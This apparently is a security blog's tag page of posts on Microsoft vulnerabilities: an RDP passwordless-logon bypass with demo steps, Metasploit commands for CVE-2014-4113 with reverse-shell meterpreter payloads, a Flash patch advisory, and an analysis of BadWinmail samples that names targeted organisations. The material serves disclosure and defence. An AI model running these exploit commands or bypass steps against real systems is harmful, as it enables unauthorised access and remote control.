Posts tagged Microsoft

MS16-007 CVE-2016-0019 Windows RDP Security Bypass

Timeline :

Vulnerability discovered and reported to the vendor by Gal Goldshtein and Viktor Minin of Citadel
Patched by the vendor through MS16-007 the 2016-01-12
Details of the vulnerability provided by Michael Schierl @mihi42 the 2016-01-12

PoC provided by :

Michael Schierl

Reference(s) :


Affected version(s) :

Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 version 1511 for 32-bit Systems
Windows 10 version 1511 for x64-based Systems

Tested on :

Windows 10 for x64-based Systems with Microsoft Remote Desktop for Mac version 8.0.26

Description :

A security feature bypass vulnerability exists in Windows Remote Desktop Protocol (RDP) that is caused when Windows 10 hosts running RDP services fail to prevent remote logon to accounts that have no passwords set.

Demo :

- On the target Windows 10
Create a local user without password
Grant the created user RDP
- On the client
Add "enablecredsspsupport:i:0" in the ".RDP" file
Connect to the target with the username and without password

CVE-2014-4113 Windows TrackPopupMenu Win32k NULL Pointer Dereference

Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor via MS14-058 the 2014–10-14
Metasploit PoC provided the 2014–10-24

PoC provided by :

juan vazquez
Spencer McIntyre
OJ Reeves

Reference(s) :


Affected version(s) :

Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 and Windows 8.1
Windows Server 2012 and Windows Server 2012 R2
Windows RT and Windows RT 8.1

Tested on :

on Windows 7 SP1 in combination with CVE-2014-8440 (Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory) vulnerability

Description :

This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.

Commands :

use exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized
set PAYLOAD windows/meterpreter/reverse_tcp


use exploit/windows/local/ms14_058_track_popup_menu
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4445


MSA-2755801 Microsoft Emergency Patch For Flash Player 0day

Microsoft has release, December 29th 2015, an emergency patch, with the updated of one security advisory concerning Adobe Flash Player.

Microsoft Security Advisory 2755801

MSA-2755801,released during September 2012, has been updated. The security advisory is concerning updates for vulnerabilities in Adobe Flash Player in Internet Explorer 10, Internet Explorer 11 and Microsoft Edge. KB3132372 has been released for supported editions of for:

  • Internet Explorer 10 on Windows 8, Windows Server 2012, and Windows RT;
  • Internet Explorer 11 on Windows 8.1, Windows Server 2012 R2, Windows RT 8.1, and Windows 10;
  • Microsoft Edge on Windows 10.

The update addresses the vulnerabilities and Adobe Flash Player 0day (CVE-2015-8651described in Adobe Security bulletin APSB16-01.

Application of KB3132372 could lead to limited application crashes on Windows 10.

CVE-2015-6172 BadWinmail found exploited in the wild

Conclusion: It seem that AV vendors did a big mistake and blocked thousands of legit emails and by consequence also disclosed the content of certain of these emails on Internet, like DRP plan of banks…
All detected samples have now reduced they’re detection rate to only marginal anti-viruses. But clearly F-Secure and BitDefender were detecting and blocking thousands of emails during the last days. For the moment, we have no explanation from the anti-virus vendors.
I would like to thanks @_clem1, @Kafeine and @PhysicalDrive0 for they’re support in these clarifications.

On December 8th 2015, Microsoft released, during his regular Patch Tuesday, two updated security advisory, one new security advisory and twelve security bulletins. On the twelve security bulletins, MS15-131 concerned Microsoft Office and fixed 6 privately reported vulnerabilities.

One of the 6 vulnerabilities fixed in MS15-131, CVE-2015-6172 vulnerability raised particular attention of the security community. This vulnerability, named Outlook “letterbomb” or “BadWinMail“, would allow an attacker to sneak past Outlook’s security features. The vulnerability affects Office 2010 and later, as well as Microsoft Word 2007 with Service Pack 3.

This vulnerability has been discovered and privately reported to Microsoft by Haifei Li of Intel Security IPS Research Team. The security researcher published a paper describing the vulnerability accompanied by a demonstration video.

Unfortunately it seem that this vulnerability is actually exploited and was exploited before the release of Microsoft security patch.

Two files “FW Joseph J. Durczynski.rtf” (957a8d9d6bf7a0e54ad7eb350c930232) and “FW Philip Services Corp. et al..rtf” (20e184a415cd71eee1cea83df262f814) were submitted to VirusTotal the 27 December and detected as exploit of CVE-2015-6172.

FW Philip Services Corp. et al..rtf” file seems to be related to PSC Industrial Services. PSC claim to be the leading provider of specialty maintenance services and technology solutions to the critical energy infrastructure in the United States.

FW Joseph J. Durczynski.rtf” file seems to be related to Systech Environmental Corp and to particularly a certain Joe Durczynski working for Systech Environmental Corp.

By doing additional researches I found a third sample “_WRF_0CE7DC0E-AB99-4196-8DC2-F818ABF7C29A_.tmp” (52c4096e99126851736715c34b1f50a5) submitted on malwr the 23 December. This sample was also submitted on VirusTotal the 23 December and also recognised as exploit of CVE-2015-6172.

One additional file “FW RFQ.rtf” (fab9cfbc629fb3c3eb541fdaf8169ee1), reported to me by @PhysicalDrive0, targeting PGM Corp. PGM is a full service precision manufacturing corporation specialising in precision CNC machining, turning, grinding and assembly.


Interesting informations are the strings in the static analysis of the 23th December malwr sample.

Subject of the email was “FW: Disaster Recovery – home binder” and this email is an internal mail exchange of Safe Credit Union organisation. Also the mail containing the malware was sent the Tuesday, 8th September 2015.

It seem to be quiet urgent to patch if you didn’t already did it, but that seem to be more and more sure is that CVE-2015-6172 was used in the wild before the release of the Microsoft December patch.

Additional samples are actually submitted:

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